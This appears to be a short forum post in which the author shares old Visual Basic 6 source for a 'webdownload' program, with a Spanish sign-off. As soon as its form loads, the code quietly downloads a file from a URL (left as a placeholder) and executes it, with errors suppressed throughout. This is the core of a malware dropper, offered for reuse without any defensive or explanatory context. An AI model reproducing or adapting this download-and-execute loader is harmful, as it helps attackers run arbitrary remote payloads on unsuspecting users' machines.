Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
On Error Resume Next
If DownloadFile Then
ShellExecuteA Me.hWnd, "Open", "C:\...", vbNullString, vbNullString, 1
DoEvents
End
End If
End Sub
Public Function DownloadFile() As Boolean
On Error Resume Next
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, "http://...", "C:\...", 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Es de un webdownload k ice ace muxo tempo.
Salu2